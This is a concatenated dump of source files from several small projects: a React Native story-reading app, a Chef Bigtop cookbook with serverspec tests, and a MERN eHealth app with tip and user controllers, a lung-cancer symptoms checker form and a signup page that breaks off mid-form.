"bold", marginLeft: 5, fontSize: 20 }} > {item.storyTitle} </Text> <Text style={{ marginLeft: 5, fontSize: 12 }}> Author: {item.storyAuthor} </Text> </View> )} keyExtractor={(item, index) => { item.storyAuthor + index.toString(); }} /> </View> ); } } } <file_sep>import React, { Component } from "react"; import writeScreen from "./screen/writeScreen"; import readScreen from "./screen/readScreen"; import LoginScreen from "./screen/LoginScreen"; import { createBottomTabNavigator } from "react-navigation-tabs"; import { Image } from "react-native"; import { createAppContainer, createSwitchNavigator } from "react-navigation"; export default class App extends Component { render() { return <AppContainer />; } } const Tab = createBottomTabNavigator( { Read: { screen: readScreen }, Write: { screen: writeScreen }, }, { defaultNavigationOptions: ({ navigation }) => ({ tabBarIcon: () => { let imgName; const routeName = navigation.state.routeName; if (routeName === "Read") { imgName = require("./assets/read.png"); } else if (routeName === "Write") { imgName = require("./assets/write.png"); } // You can return any component that you like here! return ( <Image style={{ width: 25, height: 25, marginTop: 2 }} source={imgName} /> ); }, }), tabBarOptions: { activeTintColor: "tomato", inactiveTintColor: "gray", }, } ); const AppNavigator = createSwitchNavigator({ Login: { screen: LoginScreen }, Tab: { screen: Tab }, }); const AppContainer = createAppContainer(AppNavigator);
f5aa1f3a7da4b8b14734548023c77f11ff3634e7
[ "JavaScript" ]
2
JavaScript
SharnavM/StoryHub
7c8e383d4c965d1081c49aa4842453e3c4f906ea
6918cef671e5467bfebfd157beef52bd2215daa1
refs/heads/master
<repo_name>PseudoCorps/chef-bigtop<file_sep>/Berksfile site :opscode metadata cookbook 'java', '<= 1.19.2' # windows is needed by java cookbook cookbook 'windows' <file_sep>/test/integration/default/serverspec/repo_spec.rb require 'spec_helper' describe 'bigtop::repo' do let(:bigtop_repo) do file('/etc/yum.repos.d/bigtop.repo') end it 'downloaded the bigtop repo' do expect(bigtop_repo).to be_file expect(bigtop_repo).to be_owned_by 'root' expect(bigtop_repo).to be_grouped_into 'root' expect(bigtop_repo).to be_mode 644 end end <file_sep>/test/integration/default/serverspec/base_spec.rb require 'spec_helper' describe 'bigtop::base' do # was java install it 'installed oracle java version 6' do expect(command('java')).to return_exit_status 0 expect(command('java -version')).to return_stdout /java version \"1.6/ expect(command('java -version')).to return_stdout /Java\(TM\) SE Runtime Environment/ end end <file_sep>/test/integration/default/serverspec/install_spec.rb require 'spec_helper' describe 'bigtop::install' do let(:bigtop_utils_file) do file('/etc/default/bigtop-utils') end it 'had JAVA_HOME inserted into the bigtop-utils file' do expect(bigtop_utils_file).to contain /JAVA_HOME/ end # are all the expected services installed/running it 'had the hadoop-hdfs-namenode service enabled and running' do expect(service('hadoop-hdfs-namenode')).to be_enabled expect(service('hadoop-hdfs-namenode')).to be_running end it 'had the hadoop-hdfs-datanode service enabled and running' do expect(service('hadoop-hdfs-datanode')).to be_enabled expect(service('hadoop-hdfs-datanode')).to be_running end it 'had the hadoop-yarn-resourcemanager service enabled and running' do expect(service('hadoop-yarn-resourcemanager')).to be_enabled expect(service('hadoop-yarn-resourcemanager')).to be_running end it 'had the hadoop-yarn-nodemanager service enabled and running' do expect(service('hadoop-yarn-nodemanager')).to be_enabled expect(service('hadoop-yarn-nodemanager')).to be_running end # does the hadoop cli work? it 'has a working hadoop command' do expect(command('hadoop')).to return_exit_status 0 end # some basic checking that hdfs got seeded it 'has hdfs /tmp dir' do expect(command('hadoop fs -ls /tmp')).to return_exit_status 0 end it 'has hdfs /user dir' do expect(command('hadoop fs -ls /user')).to return_exit_status 0 end it 'has hdfs /var dir' do expect(command('hadoop fs -ls /var')).to return_exit_status 0 end end <file_sep>/Gemfile source 'https://rubygems.org' # gem 'berkshelf', '~> 2.0' # NOTE: berkshelf 2.x has a dependency bug, need to use 3.x but # 3.x not yet at rubygems.org see https://github.com/berkshelf/berkshelf # for more info gem "berkshelf", github: "berkshelf/berkshelf" gem 'chefspec', '~> 3.2.0' gem 'foodcritic', '~> 3.0' gem 'rubocop', '<= 0.15' group :integration do gem 'test-kitchen', '~> 1.0.0.beta' gem 'kitchen-vagrant', '~> 0.11' gem 'kitchen-ec2' end
3d41c27fe2d24760d46c4ded7d02c7bae3ae1970
[ "Ruby" ]
5
Ruby
PseudoCorps/chef-bigtop
6cc0b1441e07f90c9c593ee831e78b774b2f2edb
6a079cedf51ba49a2a5ca38cb7a10f722469e75f
refs/heads/master
<file_sep>from flask import render_template, redirect, url_for, abort, flash, request, \ current_app, make_response from flask.ext.login import login_required, current_user from flask.ext.sqlalchemy import get_debug_queries from . import groups from .forms import GroupForm, EditMemberShipRoleForm, AddMembersForm, ConfirmationForm from .. import db from ..models import Permission, GroupRole, User, Post, Comment, PostGroup, GroupMemberShip, GroupInvite from .errors import forbidden from .decorators import group_permission_required from ..email import send_email @groups.route('/edit-membership/<int:group_id>/<int:user_id>', methods=['GET', 'POST']) @login_required @group_permission_required(Permission.ADMINISTER, groupvar='group_id') def edit_membership_role(user_id, group_id): # invite more members only if I can administer ms = GroupMemberShip.query.filter_by(member_id=user_id, group_id=group_id).first_or_404() form = EditMemberShipRoleForm(user_id=user_id, group_id=group_id) if form.validate_on_submit(): if form.cancel.data: return redirect(url_for('.group', id=group_id)) elif form.submit.data: if ms.member_can(Permission.ADMINISTER) \ and GroupRole.query.filter_by(id=form.role.data).first().name != 'Owner' \ and form.group.count_administrators() < 2: flash("A group needs at least one owner.") else: ms.role = GroupRole.query.get(form.role.data) db.session.add(ms) flash("%s's role has been updated to %s" % (ms.user.username, form.choice_map[form.role.data])) return redirect(url_for('.group', id=group_id)) else: form.role.data = ms.grouprole_id return render_template('edit_membership.html', form=form) @groups.route('/delete-membership/<int:group_id>/<int:user_id>', methods=['GET', 'POST']) @login_required @group_permission_required(Permission.ADMINISTER, groupvar='group_id') def delete_membership(group_id, user_id): group = PostGroup.query.filter_by(id=group_id).first_or_404() user = User.query.filter_by(id=user_id).first_or_404() gm = GroupMemberShip.query.filter_by(group_id=group_id, member_id=user_id).first_or_404() # we don't want to delete the last administrator if gm.member_can(Permission.ADMINISTER) and group.count_administrators() < 2: flash("You don't want to delete the last administrator.") return redirect(url_for('.group', id=group_id)) form = ConfirmationForm() if form.validate_on_submit(): if form.sure.data: gm = GroupMemberShip.query.filter_by(group_id=group_id, member_id=user_id).first_or_404() db.session.delete(gm) flash('%s has been deleted from %s' % (gm.user.username, gm.group.groupname)) return redirect(url_for('main.user', username=current_user.username)) else: return redirect(url_for('.group', id=group_id)) return render_template('groups/delete_membership.html', form=form) @groups.route('/leave-group/<int:group_id>', methods=['GET', 'POST']) @login_required def leave_group(group_id): group = PostGroup.query.filter_by(id=group_id).first_or_404() if not current_user in group.users: flash("You can't leave a group you are not a member of.") return redirect(url_for('main.user', username=current_user.username)) gm = group.memberships.filter_by(member_id=current_user.id).first_or_404() # we don't want to delete the last administrator if gm.member_can(Permission.ADMINISTER) and group.count_administrators() < 2: flash("You can't leave. You are the last administrator.") return redirect(url_for('.group', id=group_id)) form = ConfirmationForm() if form.validate_on_submit(): if form.sure.data: db.session.delete(gm) flash('You have left from %s' % (gm.group.groupname, )) return redirect(url_for('main.user', username=current_user.username)) else: return redirect(url_for('.group', id=group_id)) return render_template('groups/leave_group.html', form=form) @groups.route('/group/<int:id>', methods=['GET', 'POST']) @login_required def group(id): group = PostGroup.query.filter_by(id=id).first_or_404() if not current_user.is_member_of(group): return forbidden('You do not have the rights to see this group!') return render_template('groups/group.html', group=group, me=current_user) @groups.route('/edit-group/<int:group_id>', methods=['GET', 'POST']) @login_required @group_permission_required(Permission.ADMINISTER, groupvar='group_id') def edit_group(group_id): form = GroupForm() pg = PostGroup.query.filter_by(id=group_id).first_or_404() if form.validate_on_submit(): pg.description = form.description.data pg.groupname = form.groupname.data db.session.add(pg) db.session.commit() flash('Group %s has been updated' % (form.groupname.data,)) return redirect(url_for('.group', id=pg.id)) else: form.description.data = pg.description form.groupname.data = pg.groupname return render_template('groups/edit_group.html', form=form, title='Edit Group') @groups.route('/create-group', methods=['GET', 'POST']) @login_required def create_group(): form = GroupForm() if form.validate_on_submit(): pg = PostGroup(groupname=form.groupname.data, description=form.description.data) gm = GroupMemberShip() gm.group = pg gm.role = GroupRole.query.filter_by(name='Owner').first_or_404() current_user.groupmemberships.append(gm) db.session.add(pg) db.session.add(gm) db.session.commit() flash('Group %s has been created' % (form.groupname.data,)) return redirect(url_for('.group', id=pg.id)) return render_template('groups/edit_group.html', form=form, title='Create Group') @groups.route('/delete-group/<int:group_id>', methods=['GET', 'POST']) @login_required @group_permission_required(Permission.ADMINISTER, groupvar='group_id') def delete_group(group_id): group = PostGroup.query.filter_by(id=group_id).first_or_404() form = ConfirmationForm() if form.validate_on_submit(): if form.sure.data: for gm in group.memberships: db.session.delete(gm) db.session.delete(group) flash('Group %s has been deleted' % (group.groupname, )) return redirect(url_for('main.user', username=current_user.username)) else: return redirect(url_for('.group', id=group_id)) return render_template('groups/delete_group.html', form=form) @groups.route('/add-group-members/<int:group_id>', methods=['GET', 'POST']) @login_required @group_permission_required(Permission.ADMINISTER, groupvar='group_id') def add_group_members(group_id): form = AddMembersForm(group_id) if form.validate_on_submit(): for invitee in map(lambda x: x.strip(), form.invites.data.split(',')): with db.session.no_autoflush: kwargs = {'group_id':group_id} user_exists = False if '@' in invitee: kwargs['email'] = invitee else: user = User.query.filter_by(username=invitee) user = user.first_or_404() kwargs['email'] = user.email kwargs['user_id'] = user.id user_exists = True gi = GroupInvite(**kwargs) if user_exists: send_email(user.email, 'You have been invited to join %s at Labloid' % (form.group.groupname, ), 'groups/email/confirm', user=user, other=current_user, group=gi.group) else: send_email(kwargs['email'], 'You have been invited to join Labloid', 'auth/email/invitation', user=current_user, token=gi.generate_confirmation_token()) flash('A invitation to join %s has been sent out.' % (form.group.groupname, )) db.session.add(gi) db.session.commit() return redirect(url_for('.group', id=form.group.id)) return render_template('groups/add_members.html', form=form) @groups.route('/confirm-group/<token>') def confirm_group(token): if GroupInvite.confirm(token, current_user): flash('Groupmembership confirmed!') else: flash('The confirmation link is invalid or has expired.') return redirect(url_for('main.user', username=current_user.username)) @groups.route('/decline-invite/<token>') def decline_invite(token): if GroupInvite.decline(token): flash('Invite declined!') else: flash('The confirmation link is invalid or has expired.') return redirect(url_for('main.user', username=current_user.username))<file_sep>from flask.ext.wtf import Form from wtforms import StringField, TextAreaField, BooleanField, SelectField, \ SubmitField from wtforms.validators import required, Length, Email, Regexp from wtforms import ValidationError from flask.ext.pagedown.fields import PageDownField from wtforms.widgets import TextArea from ..models import GroupRole, User, PostGroup, GroupMemberShip class EditMemberShipRoleForm(Form): role = SelectField('Role', coerce=int) submit = SubmitField('Submit') cancel = SubmitField('Cancel') def __init__(self, user_id, group_id, *args, **kwargs): super(EditMemberShipRoleForm, self).__init__(*args, **kwargs) self.user = User.query.filter_by(id=user_id).first_or_404() self.group = PostGroup.query.filter_by(id=group_id).first_or_404() self.role.choices = [(role.id, role.name) for role in GroupRole.query.order_by(GroupRole.name).all()] self.membership = GroupMemberShip.query.filter_by(member_id=user_id, group_id=group_id).first_or_404() self.choice_map = dict(self.role.choices) class GroupForm(Form): groupname = StringField('Group Name', validators=[required(), Length(1, 64)]) description = StringField('Description', widget=TextArea()) submit = SubmitField('Submit') def validate_groupname(self, field): if PostGroup.exists(field.data): raise ValidationError("Groupname already exists. Please choose a different one.") class AddMembersForm(Form): invites = StringField('Invite Members', widget=TextArea()) submit = SubmitField('Invite') cancel = SubmitField('Cancel') def __init__(self, group_id, *args, **kwargs): super(AddMembersForm, self).__init__(*args, **kwargs) self.group = PostGroup().query.filter_by(id=group_id).first_or_404() def validate_invites(self, field): for invitee in map(lambda x: x.strip(), field.data.split(',')): if not '@' in invitee: user = User().query.filter_by(username=invitee) if user.count() == 0: raise ValidationError('User does not exist') user = user.first() if user in self.group.users: raise ValidationError('User %s is already in the group' % (user.username,)) class ConfirmationForm(Form): sure = SubmitField('Yes, I am sure!') cancel = SubmitField('No, take me back!') <file_sep>**Do not use this repo at the moment: Nothing is implemented yet, nothing works.** # labloid Lab Blog with IPython notebooks and git ## Ackownledgements - The major structure of this blog is taken from the Flasky example blog by <NAME> (https://github.com/miguelgrinberg/flasky). <file_sep>#!/usr/bin/env python import os # --- import environment variables from hidden file if os.path.exists('.env'): print('Importing environment from .env...') for line in open('.env'): var = line.strip().split('=') if len(var) == 2: os.environ[var[0]] = var[1] # --- import extensions and apps from app import create_app, db from app.models import User, GroupRole, Permission, Post, Comment, PostGroup, GroupMemberShip, Role, GroupInvite from flask.ext.script import Manager, Shell from flask.ext.migrate import Migrate, MigrateCommand from app import mail # -- create app and register with extensions app = create_app(os.getenv('FLASK_CONFIG') or 'default') manager = Manager(app) migrate = Migrate(app, db) # --- shell context def make_shell_context(): return dict(app=app, db=db, User=User, Role=Role, GroupRole=GroupRole, Permission=Permission, Post=Post, Comment=Comment, PostGroup=PostGroup, GroupMemberShip=GroupMemberShip, GroupInvite=GroupInvite) manager.add_command("shell", Shell(make_context=make_shell_context)) # --- database and migration manager.add_command('db', MigrateCommand) # --- deployment command @manager.command def deploy(): """Run deployment tasks.""" from flask.ext.migrate import upgrade from app.models import GroupRole, User # migrate database to latest revision upgrade() # create user roles GroupRole.insert_roles() # create self-follows for all users User.feed_to_self() # --- run the application @manager.command def init_dev(): """Initialize database, migrate, upgrade, and perform initial inserts.""" from flask.ext.migrate import upgrade, init, migrate from app.models import GroupRole, Role, User init() migrate() upgrade() # create user roles GroupRole.insert_roles() Role.insert_roles() u = User(username='Tester', email='<EMAIL>', confirmed=True) u.password = 'test123' db.session.add(u) if __name__ == '__main__': manager.run() <file_sep>from functools import wraps from flask import abort from flask.ext.login import current_user from ..models import Permission, PostGroup, User, GroupMemberShip def group_permission_required(permission, groupvar): def decorator(f): @wraps(f) def decorated_function(*args, **kwargs): group_id = kwargs.get(groupvar, None) or args[f.func_code.co_varnames.index(groupvar)] user = current_user group = PostGroup.query.filter_by(id=group_id).first_or_404() if user.can(Permission.ADMINISTER) or group.user_can(user, permission): return f(*args, **kwargs) else: abort(403) return decorated_function return decorator def admin_required(f): return permission_required(Permission.ADMINISTER)(f) <file_sep>from flask import Blueprint groups = Blueprint('groups', __name__) from . import views from ..models import Permission # makes the Permission class available to all templates @groups.app_context_processor def inject_permissions(): return dict(Permission=Permission)
96957485ee35cd7e2d1b50216b1b7584b3195442
[ "Markdown", "Python" ]
6
Python
fabiansinz/labloid
aa9aab1ea3ca256160b2c3fa4a1c4ad7312e8df5
3646dd94346337b43925b4931069dd5ea5cd4f23
refs/heads/master
<repo_name>cn09876/AndroidAudioRecrderChat<file_sep>/app/src/main/java/com/words/utils/MsgTTS.java package com.words.utils; /** * Created by uosim on 16/8/8. */ public class MsgTTS { public String strText=""; } <file_sep>/README.md # AndroidAudioRecrderChat ##android平台的语音录制发送的DEMO ##基于 <https://github.com/geekerliu/YyChat> 这个项目,进行了部分修改,感谢原作者 ##可以生成类似微信的对话窗口,能发送文字,语音,图片信息 <file_sep>/app/src/main/java/com/words/chat/frmText.java package com.words.chat; import android.app.Activity; import android.os.Bundle; import android.support.v4.app.FragmentActivity; import android.view.Menu; import android.view.View; import android.widget.Toast; public class frmText extends FragmentActivity { void toast(String s) { Toast.makeText(this,s,Toast.LENGTH_SHORT).show(); } @Override public boolean onCreateOptionsMenu(Menu menu) { getMenuInflater().inflate(R.menu.main,menu); return true; } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.lay_test); final HomeFragment a=(HomeFragment)(getSupportFragmentManager().findFragmentById(R.id.frag_home)); findViewById(R.id.btn1).setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { a.reload_list(); getSupportFragmentManager().beginTransaction().commit(); } }); } } <file_sep>/app/src/main/java/com/words/utils/SwJson.java package com.words.utils; import android.util.Log; import com.google.gson.Gson; import com.google.gson.GsonBuilder; import com.google.gson.internal.ObjectConstructor; import com.google.gson.reflect.TypeToken; import java.util.ArrayList; import java.util.HashMap; import java.util.Iterator; import java.util.List; import java.util.Map; /** * Created by uosim on 16/8/8. */ public class SwJson { public class SwDataRow { private Map<String,String> m=new HashMap<>(); public String get(String k) { return m.get(k); } public SwDataRow set(String k,String v) { m.put(k,v); return this; } } public class SwDataTable { public int RecordCount=0; public String TableName=""; public List<SwDataRow> rows=new ArrayList<>(); public SwDataRow add() { SwDataRow r=new SwDataRow(); rows.add(r); return r; } } Map<String,Object> arr=new HashMap<String, Object>(); public static SwJson Create(String s) { return new SwJson(s); } public String toJsonWithEncode() { return toJson(); } public String toJson() { Map<String,Object> jjObj=new HashMap<String,Object>(); Iterator iter = arr.entrySet().iterator(); while (iter.hasNext()) { Map.Entry entry = (Map.Entry) iter.next(); String key = entry.getKey().toString(); Object val = entry.getValue(); if(val.getClass()==SwDataTable.class) { SwDataTable dt=(SwDataTable)val; List<Map<String,String>> ds=new ArrayList<Map<String,String>>(); for(SwDataRow r:dt.rows) { ds.add(r.m); } jjObj.put(key,ds); } else { jjObj.put(key,val); } } String ret=""; jjObj.put("tim",System.currentTimeMillis()); Gson g=new GsonBuilder().disableHtmlEscaping().create(); ret=g.toJson(jjObj); return ret; } public Map<String,Object> add() { if(!arr.containsKey("rows"))arr.put("rows",new ArrayList<Map<String,Object>>()); List<Map<String,Object>> rs=(List<Map<String,Object>>)arr.get("rows"); Map<String,Object> r=new HashMap<String,Object>(); rs.add(r); return r; } void l(String s) { Log.e("json",s); } public String get(String k) { try { return arr.get(k).toString(); } catch (Exception e) { return ""; } } public SwJson set(String k,String v) { arr.put(k,v); return this; } public SwDataTable table() { return table("rows"); } public SwDataTable table(String k) { List<Map<String,Object>> lst=new ArrayList<Map<String,Object>>(); SwDataTable dt=new SwDataTable(); dt.TableName=k; try { if(arr.get(k).getClass()==ArrayList.class) { lst = (ArrayList<Map<String, Object>>) arr.get(k); dt.RecordCount = lst.size(); for (Map<String, Object> m : lst) { SwDataRow dr = new SwDataRow(); Iterator iter = m.entrySet().iterator(); while (iter.hasNext()) { Map.Entry entry = (Map.Entry) iter.next(); Object key = entry.getKey(); Object val = entry.getValue(); dr.set(key.toString(), val.toString()); } dt.rows.add(dr); } arr.put(k, dt); } else { return (SwDataTable) arr.get(k); } } catch (Exception e) { arr.put(k,dt); } return dt; } public SwJson(){} public SwJson(String s) { if(s==null)return; if(s.equals(""))return; Gson g=new Gson(); if(s.indexOf("<!--START JSON-->")>=0 && s.indexOf("<!--END JSON-->")>10) { s=Tools.getPart(s,"<!--START JSON-->","<!--END JSON-->"); } try { arr = g.fromJson(s, new TypeToken<Map<String, Object>>() {}.getType()); } catch (Exception e) { l("解析JSON发生错误 "+e.getMessage()); } } } <file_sep>/app/src/main/java/com/words/utils/EventUdpData.java package com.words.utils; import android.util.Log; import com.google.gson.Gson; import com.google.gson.reflect.TypeToken; import com.loopj.android.http.Base64; import java.util.ArrayList; import java.util.List; import java.util.Map; /** * Created by cn09876 on 16/1/18. */ public class EventUdpData { public static final String CMD_DISCOVER_电脑端地址广播="server_discover_addr"; public static final String CMD_RESPONSE="resp"; public static final String CMD_SET_PARAMS="set_params"; private int type=0; private String s1=""; private String s2=""; private String s3=""; private int i1=0; private int i2=0; private int i3=0; private Object obj1=null; public String CMD=""; public String data=""; public String FromIP=""; public List<Map<String,String>> jsonArr=new ArrayList<>();; //返回字符串B,C中间的部分 public String getPart(String a,String b,String c) { String ret=""; int i1=a.indexOf(b); int i2=a.indexOf(c); if(i1<0)return ""; if(i2<0)return ""; if(i2<i1)return ""; ret=a.substring(i1+b.length(),i2); return ret; } String fromBase64(String s) { return new String(Base64.decode(s.getBytes(), Base64.DEFAULT)); } public EventUdpData(String PeerIP,String data_) { FromIP=PeerIP; CMD=getPart(data_,"<c>","</c>"); data=getPart(data_,"<d>","</d>"); if(data.equals(""))data=data_; Gson g=new Gson(); String jsonData=getPart(data,"<json>","</json>"); try { //Log.e("udp",jsonData); String jsonDecodeBase64=fromBase64(jsonData); //Log.e("udp","udp.recv.json="+jsonDecodeBase64); jsonArr = g.fromJson(jsonDecodeBase64, new TypeToken<ArrayList<Map<String, String>>>() { }.getType()); } catch (Exception e) { Log.e("udp","udp.recv.jsonParser.error "+e.getMessage()); } } public String get(String xmlElement) { return getPart(data,"<"+xmlElement+">","</"+xmlElement+">"); } }
058b8a796738f617235e02820c6a3bda85d7ebb1
[ "Markdown", "Java" ]
5
Java
cn09876/AndroidAudioRecrderChat
9c287f7e255bc84eea39fef04066fd7d25fe7318
d8b4335dfebb2c637a50034371fb4260385a9fe0
refs/heads/main
<repo_name>javenido/eHealth<file_sep>/app/controllers/tips.server.controller.js const Tip = require('mongoose').model('Tip'); // Create a new error handling controller method function getErrorMessage(err) { if (err.errors) { for (let errName in err.errors) { if (err.errors[errName].message) return err.errors[errName]. message; } } else { return 'Unknown server error'; } }; // Create a new motivational tip exports.create = function (req, res) { // create tip instance var tip = new Tip(); tip.author = req.userId; tip.title = req.body.title; tip.message = req.body.message; // save tip tip.save((err) => { if (err) { return res.status(400).json({ message: getErrorMessage(err) }); } else { return res.status(200).end(); } }); }; // Send all tips or by an author exports.list = async function (req, res) { const query = req.params.authorId ? { author: authorId } : {}; Tip.find(query) .populate('author') .sort({ date: -1 }) .exec((err, tips) => { if (err) { return res.status(400).end(); } return res.status(200).send({ tips: tips }); }) }; // Delete an entry exports.delete = function (req, res) { // check if user is authorized to delete if (req.tip.author === req.userId) { Tip.findByIdAndDelete(req.tip._id, (err) => { if (err) { return res.status(400).json({ message: getErrorMessage(err) }); } return res.status(200).end(); }) } else { return res.status(400).json({ message: 'You are not authorized to delete this tip entry.' }); } }; // Get random entry exports.getRandom = function (req, res) { Tip.count().exec((err, count) => { if (count === 0) { return res.status(304).end(); } var random = Math.floor(Math.random() * count); Tip.findOne().skip(random).populate('author').exec((err, tip) => { return res.status(200).send({ tip: tip }); }) }); }; // Get a tip by ID exports.tipByID = function (req, res, next, id) { Tip.findOne({ _id: id}, (err, tip) => { if (err) { return res.status(400).json({ message: getErrorMessage(err) }); } req.tip = tip; next(); }) }<file_sep>/react-ui/src/components/SymptomsChecker.js import axios from 'axios'; import React, { useState } from 'react'; import { withRouter } from 'react-router-dom'; function SymptomsChecker(props) { // Create stateful variables const [loading, setLoading] = useState(false); const [results, setResults] = useState(); const [symptoms, setSymptoms] = useState({ genetic: 4, obesity: 4, smoking: 4, weight: 4, swallowing: 4, cough: 4 }); // Event handlers const handleOnSubmit = (event) => { setLoading(true); const start = new Date() / 1000; axios.post('/predict', symptoms).then((result) => { const end = new Date() / 1000; var risk, advice; var max = 0; for (var i = 1; i < result.data.length; i++) { if (result.data[i] > result.data[max]) { max = i; } } if (max === 0) { risk = "High"; advice = "There is a high chance that you have lung cancer. " + "We recommend that you visit a healthcare provider as soon as possible " + "so you can start treatment immediately in the worst case scenario that you actually have lung cancer." } else if (max === 1) { risk = "Medium"; advice = "There is a moderate chance that you may have lung cancer. We advice that you visit a healthcare provider soon so they can examine your situation."; } else { risk = "Low"; advice = "Congratulations. There is a low chance that you have lung cancer."; } setResults({ risk: risk, advice: advice, duration: end - start, date: new Date().toLocaleString() }); setLoading(false); }); }; const handleInputChange = (event) => { const { name, value } = event.target; setSymptoms((prevState) => ({ ...prevState, [name]: value, })); }; // Resets the form const reset = function () { setResults(null); setSymptoms({ genetic: 4, obesity: 4, smoking: 4, weight: 4, swallowing: 4, cough: 4 }); }; return (loading ? // loading <div className="flex-container"> <h1>Lung Cancer Symptoms Checker</h1> <p>Calculating the result. This process usually takes less than a minute.</p> <hr /> <div className="spinner"></div> </div> : results ? // not loading, with results <div className="flex-container"> <h1>Lung Cancer Symptoms Checker</h1> <p>Here are the results.</p> <hr /> <div className="lcsc flex-container"> <div className="lcsc-input"> <b>Severity of Symptoms:</b> <ul> <li>Genetic Risk: {symptoms.genetic}</li> <li>Obesity: {symptoms.obesity}</li> <li>Smoking: {symptoms.smoking}</li> <li>Weight Loss: {symptoms.weight}</li> <li>Swallowing Difficulty: {symptoms.swallowing}</li> <li>Dry Cough: {symptoms.cough}</li> </ul> </div> <h2>Result:</h2> <div className={"lcsc-result lcsc-result-" + results.risk}>{results.risk}</div> <p>{results.advice}</p> <span>Calculation Time: {(results.duration).toFixed(1)} seconds</span> <span>Date: {results.date}</span> </div> <button className="btn" onClick={reset}>Try Again</button> </div> : // not loading, without results <div className="flex-container"> <h1>Lung Cancer Symptoms Checker</h1> <p>Worried you might have lung cancer? Indicate the severity of your symptoms below. We'll make an educated prediction of the chances of you having lung cancer, and we'll advise you on what to do next.</p> <hr /> <div className="sliders"> <p>Genetic Risk</p> <input type="range" name="genetic" min="1" max="7" value={symptoms.genetic} onChange={handleInputChange} /> <div className="slider-ticks"> <span>Very Low</span> <span>Medium</span> <span>High</span> </div> <p>Obesity</p> <input type="range" name="obesity" min="1" max="7" value={symptoms.obesity} onChange={handleInputChange} /> <div className="slider-ticks"> <span>None</span> <span>Mild</span> <span>Moderate</span> <span>Severe</span> </div> <p>Smoking</p> <input type="range" name="smoking" min="1" max="7" value={symptoms.smoking} onChange={handleInputChange} /> <div className="slider-ticks"> <span>Never</span> <span>Occasionally</span> <span>Very Often</span> </div> <p>Weight Loss</p> <input type="range" name="weight" min="1" max="7" value={symptoms.weight} onChange={handleInputChange} /> <div className="slider-ticks"> <span>None</span> <span>Mild</span> <span>Moderate</span> <span>Severe</span> </div> <p>Swallowing Difficulty</p> <input type="range" name="swallowing" min="1" max="7" value={symptoms.swallowing} onChange={handleInputChange} /> <div className="slider-ticks"> <span>None</span> <span>Mild</span> <span>Moderate</span> <span>Severe</span> </div> <p>Dry Cough</p> <input type="range" name="cough" min="1" max="7" value={symptoms.cough} onChange={handleInputChange} /> <div className="slider-ticks"> <span>None</span> <span>Mild</span> <span>Moderate</span> <span>Severe</span> </div> <center><button className="btn" onClick={handleOnSubmit}>Check</button></center> </div> </div> ) } export default withRouter(SymptomsChecker);<file_sep>/app/routes/users.server.routes.js const userController = require('../../app/controllers/users.server.controller'); module.exports = function (app) { app.route('/user/create').post(userController.create); app.route('/user/login').post(userController.authenticate); app.route('/user/verify').get(userController.isSignedIn); app.route('/user/logout').get(userController.signOut); app.route('/user/:userId') .get(userController.read); app.param('userId', userController.userByID); };<file_sep>/react-ui/src/components/SignUp.js import axios from 'axios'; import React, { useEffect, useState } from 'react'; import { Redirect, withRouter } from 'react-router-dom'; function SignUp(props) { // Create stateful variables const [confirmationPassword, setConfirmationPassword] = useState(''); const [loading, setLoading] = useState(true); const [message, setMessage] = useState(); const [signedIn, setSignedIn] = useState(); const [user, setUser] = useState({ username: '', password: '', firstName: '', lastName: '', birthday: '', gender: '', address: '', city: '', province: '', phoneNumber: '', email: '', role: props.role ? props.role : '' }); // Check if a user is already signed in useEffect(() => { const verify = async () => { const result = await axios.get("/user/verify"); setSignedIn(result.data.user); setLoading(false); }; verify(); }, []); // Event handlers const onChange = (e) => { e.persist(); setUser({ ...user, [e.target.name]: e.target.value }); }; const createAccount = (e) => { e.preventDefault(); if (user.password === <PASSWORD>) { axios.post("/user/create", user).then((result) => { window.location.href = "/"; }).catch((err) => { setMessage(err.response.data.message); }); } else { setMessage('Password and confirmation password do not match'); } }; // Build and return JSX return ( loading ? <div></div> : // if loading don't display anything signedIn ? <Redirect to="/" /> : // if signed in, redirect to home page user.role === '' ? // select role (<div className="flex-container"> <h1>Select Account Type</h1> <div> <select name="role" onChange={onChange}> <option value="">Choose a role</option> <option value="nurse">Nurse</option> <option value="patient">Patient</option> </select> <p className="here"> Already have an account? Click <a href="/signin">here</a> to sign in.</p> </div> </div>) : // registration form (<div className="flex-container"> {message && <span class="error">{message}</span>} <h1>Create a {user.role.charAt(0).toUpperCase() + user.role.slice(1)} Account</h1> <form onSubmit={createAccount}> <table><tbody> <tr><td><b>Account Details</b></td></tr> <tr> <td> <input type="text" name="username" id="username" value={user.username} onChange={onChange} required placeholder="Choose a username" /> <label>Username</label> </td> </tr> <tr> <td> <input type="password" name="password" id="password" value={user.<PASSWORD>} onChange={onChange} required pattern=".{7,}" title="Password should be longer than 6 characters" /> <label>Password</label> </td> <td> <input type="password" value={confirmationPassword} onChange={e => setConfirmationPassword(e.target.value)} required /> <label>Confirm Password</label> </td> </tr> <tr><td><b>Personal Details</b></td></tr> <tr> <td> <input type="text" name="firstName" id="firstName" value={user.firstName} onChange={onChange} required /> <label>First Name</label> </td> <td> <input type="text" name="lastName" id="lastName" value={user.lastName} onChange={onChange} required /> <label>Last Name</label> </td> </tr> <tr> <td> <input name="birthday" type="date" onChange={onChange} required /> <label>Birth Date</label> </td> <td> <select name="gender" onChange={onChange} required> <option value="">Select one</option> <option>Male</option> <option>Female</option> <option>Other</option> </select> <label>Gender</label> </td> </tr> <tr><td><b>Address</b></td></tr> <tr> <td colSpan="2"> <input type="text" name="address" id="address" value={user.address} onChange={onChange} required /> <label>Street Address</label> </td> </tr> <tr> <td> <input type="text" name="city" id="city" value={user.city} onChange={onChange} required /> <label>City</label> </td> <td> <select name="province" onChange={onChange} required > <option value="">Select one</option> <option>Alberta</option> <option>British Columbia</option> <option>Manitoba</option> <option>New Brunswick</option> <option>Newfoundland and Labrador</option> <option>Nova Scotia</option> <option>Ontario</option> <option>Prince Edward Islan</option> <option>Quebec</option> <option>Saskatchewan</option> <option>Northwest Territories</option> <option>Nunavut</option> <option>Yukon</option> </select> <label>Province/Territory</label> </td> </tr> <tr><td><b>Contact Details</b></td></tr> <tr> <td> <input type="text" name="phoneNumber" id="phoneNumber" value={user.phoneNumber} onChange={onChange} required pattern="[0-9]+" title="Please enter numeric characters only" /> <label>Phone Number</label> </td> <td> <input type="email" name="email" id="email" value={user.email} onChange={onChange} required /> <label>Email Address</label> </td> </tr> </tbody></table> <center><input className="btn" 